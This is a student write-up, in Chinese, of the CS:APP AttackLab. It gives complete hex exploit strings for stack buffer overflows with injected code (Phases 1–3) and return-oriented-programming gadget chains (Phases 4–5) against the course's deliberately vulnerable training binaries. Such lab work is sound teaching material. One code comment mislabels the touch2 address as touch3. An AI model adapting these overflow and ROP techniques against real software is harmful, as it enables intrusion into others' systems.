AttackLab Report By 2019201408陈志朋

Preparation

1）

需要进行攻击的字符串的16进制形式储存在input文件中。

2）

在终端中，使用如下命令将16进制输入转化为字符串输入，并且输入到ctarget中：

```
~ $ ./hex2raw -i input | ./ctarget
```

3）

在终端中，使用如下命令将16进制输入转化为字符串输入，并且输入到rtarget中：

```
~ $ ./hex2raw -i input | ./rtarget
```

4）

在终端中，使用如下命令得到可执行文件ctarget的反汇编文件ctarget.s

```
~ $ objdump -S ./ctarget > ctarget.s
```

5)

在终端中，使用如下命令得到可执行文件rtarget的反汇编文件rtarget.s

```
~ $ objdump -S ./rtarget > rtarget.s
```

Phase 1

```
/* touch 1 - ctarget */
c3 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66
50 6a 63 55 00 00 00 00   /* use ret at the begin of input string */
92 5b 55 55 55 55 00 00   /* call the touch1 */
```

使用gdb运行程序，并且在getbuf的位置设置断点。阅读汇编代码可以知道，该函数中开辟了0x18（即十进制24）字节空间用于输入字符串，并且没有将$\%rbp$入栈。所以在$-24(\%rsp)$的位置是返回地址的首地址。由于目标是调用touch1函数，所以需要将touch1的地址储存到返回地址的地方。

在gdb中使用如下指令获得栈顶的值（$\%rsp$）：

```
(gdb) p $rsp
```

在gdb中使用如下指令获得当前执行的代码的真实地址：

```
display /5i $pc
```

通过上述操作，可以得到，getbuf的地址偏移量为$0000000000001b7c$，其真实地址为$0055555555555b7c$。而touch1的地址偏移量为$0000000000001b92$，通过计算，其真实地址为$0055555555555b92$。所以，需要输入的字符串的16进制形式为24个无用的字符（用于占用栈上新开辟的内存），在加上touch1的真实地址（小端方式存储，用于覆盖返回地址）。

由于intel的cpu进入函数（即汇编中的调用call指令之前）是需要向16进制对齐的，但是用上述的方式进行输入指针无法对齐。正确的处理方法，需要在输入touch1之前，先调用ret指令，使栈指针多弹出8个字节的内存，实现对齐。具体的操作是，在输入touch1的真实地址之前，先输入字符串开头的地址（getbuf中开辟用于储存输入字符串的空间），然后将用于占用内存的字符串的第一个字符的16进制形式改为c3（即ret指令的二进制码）。

这样操作之后，getbuf在返回时，会先跳转到我们预设的ret指令的位置，然后执行。返回后，此时返回地址的位置储存有touch1的地址，程序会成功跳转到touch1函数，实现攻击。

Phase 2

```
/* touch 2 - ctarget */
bf 72 46 35 43 c3 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66   /* change the val of  %rdi */
50 6a 63 55 00 00 00 00   /* jump to the code that can change %rdi */
c6 5b 55 55 55 55 00 00   /* call the touch2 */
```

该任务与Phase 1的不同之处在于该任务调用touch2时，需要传入一个参数。在64为机器上，函数的第一个参数是用$\%rdi$进行传递的，所以调用touch2前，需要先修改$\%rdi$的值。

该任务的大部分过程与Phase 1相同，不用之处在于执行ret指令进行对齐前，需要修改$\%rdi$的值。通过阅读汇编代码，发现如下机器码可以修改$\%edi$的值(修改为0x43354672）。

```
bf 72 46 35 43
```

所以，c3（即ret）之前插入上述代码，getbuf在返回时，会先跳转到我们预设的修改的指令的位置，先设置函数的第一个参数，之后执行ret。返回后，此时返回地址的位置储存有touch2的地址，程序会成功跳转到touch2函数，实现攻击。

Phase 3

```
/* touch 3 - ctarget */
bf 78 6a 63 55 c3 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66
50 6a 63 55 00 00 00 00   /* change the val of %rdi */
eb 5c 55 55 55 55 00 00   /* call touch3 */
34 33 33 35 34 36 37 32   /* the ASCII of 43354672 */
```

该任务与Phase 2不同之处在于，该任务传入的参数需要为字符串“43354672”，即传入指向该字符串的指针。所以需要把%*rdi*的值储存为该字符串所在的位置。修改%*rdi*和调用touch3的方法和之前相同，只需要将43354672的每个数字转化为对应字符的ASCII码，储存在栈上一个合理的位置即可。

在该解法中，将43354672的每个数字转化为对应字符的ASCII码储存在返回地址（存放touch3的首地址的位置）后8个字节的位置，该位置不会被覆盖，也不会影响touch3的运行。

Phase 4

```
/* touch 2 - rtarget */
66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66
b1 5d 55 55 55 55 00 00   /* pop %rax */
72 46 35 43 00 00 00 00   /* 0x43354672 */
b8 5d 55 55 55 55 00 00   /* mov %rax, %rdi */
c6 5b 55 55 55 55 00 00   /* call touch3 */
```

该任务与Phase 2不同的是，该任务的栈是不可执行的（即不能运行栈上储存的程序），并且开启了栈随机化（即每次栈上存储的元素的位置是不确定的）。

但是，该任务提供了一系列工具代码，可以使用这些代码中的片段进行攻击。

该任务的主要思路是先通过pop %rax得到值0x43354672。然后用mov %rax, %rdi来修改%rdi的值，设置touch2的参数。最后在调用touch2。

```
0000000000001db0 <getval_231>:
    1db0:   b8 58 90 c3 9d          mov    $0x9dc39058,%eax
    1db5:   c3                      retq
```

在上面这个代码段中，机器码“58”对应的是“pop %rax”，机器码“90”对应的是“nop”。所以，在地址0000555555555*db*1的位置可以找到“pop %rax”。

```
0000000000001db6 <addval_290>:
    1db6:   8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax
    1dbc:   c3                      retq
```

在上面这个代码中，机器码“48 89 c7”对应的是“mov %rax, %rdi”。所以，在地址0000555555555*db*8的位置可以找到“mov %rax, %rdi”。

找到需要的代码后，只需要在栈上将返回地址的位置设置为这些对应的地址即可。

Phase 5

```
/* touch 3 - rtarget */
66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66
36 5e 55 55 55 55 00 00   /* mov %rsp, %rax */
b8 5d 55 55 55 55 00 00   /* mov %rax, %rdi */
b1 5d 55 55 55 55 00 00   /* popq %rax */
48 00 00 00 00 00 00 00   /* offset */
e6 5d 55 55 55 55 00 00   /* movl %eax, %ecx    andb %al, %al */
d8 5d 55 55 55 55 00 00   /* movl %ecx, %edx */
ef 5d 55 55 55 55 00 00   /* movl %edx, %esi */
```

```
d1 5d 55 55 55 55 00 00   /* lea (%rdi, %rsi, 1) %rax */
b8 5d 55 55 55 55 00 00   /* mov %rax, %rdi */
eb 5c 55 55 55 55 00 00   /* call touch3 */
34 33 33 35 34 36 37 32   /* string: 43354672  */
```

该任务的主要思路为先通过“mov %rsp, %rax”来获得当前栈顶的地址。然后获取字符串“43354672 ”的内存位置（放置于touch3的真实地址之后）相对于之前获取栈顶地址的偏移量。将二者相加即获得“43354672”所在的真实地址，将其赋值给%*rdi*即可。

```
0000000000001e34 <addval_468>:
    1e34:   8d 87 48 89 e0 90       lea    -0x6f1f76b8(%rdi),%eax
    1e3a:   c3                      retq
```

机器码“48 89 e0”对应的是“mov %rsp, %rax”，后续的“90”不影响程序进行。通过这行代码，可以获得当前栈顶的地址。

```
0000000000001dbd <addval_371>:
    1dbd:   8d 87 82 48 89 c7       lea    -0x3876b77e(%rdi),%eax
    1dc3:   c3                      retq
```

机器码“48 89 c7”对应的是“mov %rax, %rdi”，将获取到的地址赋值给%*rdi*。

```
0000000000001db0 <getval_231>:
    1db0:   b8 58 90 c3 9d          mov    $0x9dc39058,%eax
    1db5:   c3                      retq
```

机器码“58”对应的是“popq %rax”。通过pop指令将当前栈上储存的东西赋值到%*rax*上，可以提前计算好偏移量，然后通过这个指令将偏移量进行传递。

```
0000000000001de4 <setval_345>:
    1de4:   c7 07 89 c1 20 c0       movl   $0xc020c189,(%rdi)
    1dea:   c3                      retq
```

机器码“89 c1”对应的是“movl %eax, %ecx”，“20 c0”对应的是“andb %al, %al”。由于and指令不会改变寄存器的值，所以后面的and指令不会造成影响。这里将偏移量转移到%*ecx*中。

```
0000000000001dd6 <addval_120>:
    1dd6:   8d 87 89 ca 90 90       lea    -0x6f6f3577(%rdi),%eax
    1ddc:   c3                      retq
```

机器码“89 ca”对应的是“movl %ecx, %edx”，将偏移量转移到%*edx*。

```
0000000000001deb <setval_453>:
    1deb:   c7 07 6c c0 89 d6       movl   $0xd689c06c,(%rdi)
    1df1:   c3                      retq
```

机器码“89 d6”对应的是“movl %edx, %esi”，将偏移量转移到%*rsi*。

```
0000000000001dd1 <add_xy>:
    1dd1:   48 8d 04 37             lea    (%rdi,%rsi,1),%rax
    1dd5:   c3                      retq
```

然后调用该函数将栈地址和偏移量加在一起，得到所需字符串的真正地址。

```
0000000000001dbd <addval_371>:
    1dbd:   8d 87 82 48 89 c7       lea    -0x3876b77e(%rdi),%eax
    1dc3:   c3                      retq
```

机器码“48 89 c7”对应的是“mov %rax, %rdi”，将获取到的地址赋值给$\%rdi$。这时候，$\%rdi$中储存的是字符串“43354672”所在的真实地址，此时直接调用touch3即可。

找到需要的代码后，只需要在栈上将返回地址的位置设置为这些对应的地址即可。